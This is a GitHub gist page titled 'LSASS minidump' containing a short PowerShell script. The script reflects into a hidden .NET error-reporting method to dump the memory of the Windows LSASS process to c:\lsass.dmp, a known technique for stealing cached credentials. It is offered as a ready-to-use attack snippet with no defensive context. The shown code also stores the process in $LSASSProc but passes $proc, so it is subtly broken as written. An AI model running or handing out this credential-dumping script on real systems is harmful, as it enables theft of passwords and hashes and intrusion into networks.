-
-
Save T0w3ntum/7173566b0531052e24b5f54550dfcfef to your computer and use it in GitHub Desktop.
LSASS minidump
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$LSASSProc = Get-Process lsass | |
$FileStream = New-Object IO.FileStream('c:\lsass.dmp', [IO.FileMode]::Create) | |
$Result = ((([PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')).GetNestedType('NativeMethods', 'NonPublic')).GetMethod('MiniDumpWriteDump', ([Reflection.BindingFlags] 'NonPublic, Static'))).Invoke($null,@($proc.Handle,$proc.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)) | |
$FileStream.Close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment